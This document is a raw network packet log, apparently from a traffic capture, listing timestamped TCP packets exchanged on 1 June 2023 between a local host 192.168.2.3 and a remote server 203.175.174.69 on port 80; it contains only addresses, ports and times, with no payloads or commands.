Jun 1, 2023 12:14:17.778362989 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.778409004 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.778430939 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.778501034 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.778517962 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.778568029 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.778661966 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.778672934 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.778731108 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.778796911 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.778820992 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.778865099 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.778935909 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.778986931 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.779005051 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.779084921 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.779089928 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.779166937 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.779239893 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.779248953 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.779325008 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.779395103 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.779459000 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.779462099 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.779531002 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.779588938 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.779618025 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.779685974 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.779716969 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.779752970 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.779823065 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.779848099 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.779912949 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.780092001 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.947665930 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.947710037 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.947746038 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.947782993 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.947792053 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.947824955 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.947854042 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.947865963 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.947899103 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.947936058 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.947937012 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.947973013 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948000908 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.948012114 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948048115 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948071957 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.948085070 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948123932 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948137999 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.948159933 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948199987 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948235035 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.948236942 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948296070 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.948298931 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948331118 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948379993 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948391914 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948394060 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.948425055 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948460102 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948468924 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.948496103 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948530912 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948548079 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.948565006 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948585033 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.948609114 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948643923 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948669910 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.948678017 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948715925 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948731899 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.948753119 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948787928 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948818922 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.948822975 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948857069 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948884964 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.948900938 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948936939 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.948957920 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.948972940 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.949007988 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.949034929 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.949044943 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.949090004 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.949103117 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.949127913 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.949162960 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.949186087 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.949198961 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.949237108 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.949265957 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.949271917 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.949342966 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.949362993 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.949378967 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.949414015 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.949445963 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.949449062 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.949486017 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.949522018 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.949522018 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.949577093 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.117355108 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.117453098 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.117516994 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.117566109 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.117568016 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.117665052 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.117686033 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.117714882 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.117732048 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.117736101 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.117789030 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.117839098 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.117851019 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.117887020 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.117938995 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.117943048 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.118010044 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.118060112 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.118071079 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.118107080 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.118156910 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.118170977 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.118206024 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.118257046 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.118277073 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.118305922 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.118355989 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.118370056 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.118401051 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.118449926 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.118465900 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.118495941 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.118546009 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.118561029 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.118609905 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.118658066 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.118680954 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.118705988 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.118753910 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.118802071 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.118850946 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.118901968 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.118948936 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.118997097 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.119045019 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.119077921 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.119077921 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.119092941 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.119141102 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.119189024 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.119235039 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.119235039 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.119239092 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.119262934 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.119287968 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.119337082 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.119380951 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.119385958 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.119434118 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.119463921 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.119482040 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.119529009 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.119563103 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.119575977 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.119625092 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.119653940 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.119673967 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.119720936 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.119748116 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.119770050 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.119817972 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.119858980 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.119868994 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.119945049 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.287630081 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.287712097 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.287776947 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.287861109 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.287864923 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.287934065 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.287957907 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.288006067 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.288079023 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.288096905 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.288151026 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.288223028 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.288242102 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.288352013 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.288424015 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.288454056 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.288496017 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.288568020 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.288592100 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.288639069 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.288707018 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.288732052 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.288777113 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.288847923 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.288868904 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.288918972 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.288989067 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.289028883 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.289058924 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.289129972 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.289172888 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.289200068 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.289273977 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.289293051 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.289345026 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.289416075 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.289433002 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.289489031 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.289558887 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.289582014 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.289628983 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.289700985 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.289721012 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.289818048 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.289885044 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.289910078 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.289957047 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.290024042 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.290044069 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.290092945 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.290162086 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.290178061 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.290232897 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.290307999 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.290318966 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.290376902 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.290505886 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.290514946 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.290587902 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.290657997 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.290671110 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.290725946 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.290795088 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.290828943 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.290863991 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.290931940 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.290946007 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.291002035 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.291071892 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.291084051 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.291140079 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.291207075 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.291239023 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.291280031 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.291387081 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.459127903 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.459192991 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.459243059 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.459292889 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.459342003 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.459357977 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.459391117 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.459410906 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.459439993 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.459453106 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.459491014 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.459543943 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.459551096 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.459609985 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.459660053 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.459669113 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.459707975 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.459757090 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.459764004 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.459805965 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.459852934 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.459865093 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.459901094 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.459949970 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.459959030 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.459997892 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.460046053 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.460053921 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.460093021 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.460140944 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.460146904 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.460190058 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.460237980 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.460254908 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.460325003 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.460374117 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.460386992 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.460422993 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.460469961 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.460484028 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.460516930 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.460565090 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.460583925 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.460609913 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.460658073 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.460668087 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.460705996 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.460753918 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.460799932 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.460803986 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.460848093 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.460891008 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.460899115 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.460963011 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.460973024 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.461013079 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.461061001 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.461105108 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.461108923 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.461158991 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.461199999 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.461206913 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.461260080 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.461297035 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.461308002 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.461366892 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.461376905 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.461415052 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.461462021 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.461467028 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.461508989 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.461556911 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.461574078 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.461608887 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.461678982 CEST	49698	80	192.168.2.3	203.175.174.69
